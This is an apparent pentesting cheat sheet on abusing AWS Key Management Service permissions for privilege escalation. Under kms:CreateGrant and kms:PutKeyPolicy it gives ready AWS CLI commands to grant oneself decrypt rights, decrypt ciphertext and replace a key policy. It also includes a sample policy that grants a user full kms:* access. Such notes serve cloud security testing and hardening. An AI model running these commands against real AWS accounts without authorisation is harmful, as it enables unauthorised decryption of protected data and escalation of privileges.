Key Management Service (KMS)

Abusable AWS KMS permissions that can lead to compromise or privilege escalation

kms:CreateGrant

• With this action available, you can provide yourself a Grant to a KMS key and effectively give yourself access.

• Grants are considered along with key policies and IAM policies and are often used for temporary permissions because you can create one, use its permissions, and delete it without changing your key policies or IAM policies.

# create a grant for yourself
aws kms create-grant --key-id <keyId> --grantee-principal <userARN> --operations Decrypt

# decrypt data with the grant
aws kms decrypt --grant-tokens <grantToken> --ciphertext-blob <cipherText> --key-id <keyId> --output text --query Plaintext | base64 --decode

---

kms:PutKeyPolicy

• With this action available, you can update or replace the Key Policy for a KMS key to permit yourself.

# update key policy
aws kms put-key-policy --policy file://key-policy.json --policy-name default --key-id <keyId>

# sample key policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::123456789012:role/root"
            },
            "Action": "kms:*",
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::123456789012:user/<userName>"
            },
            "Action": [
                "kms:*"
            ],
            "Resource": "*"
        }
    ]
}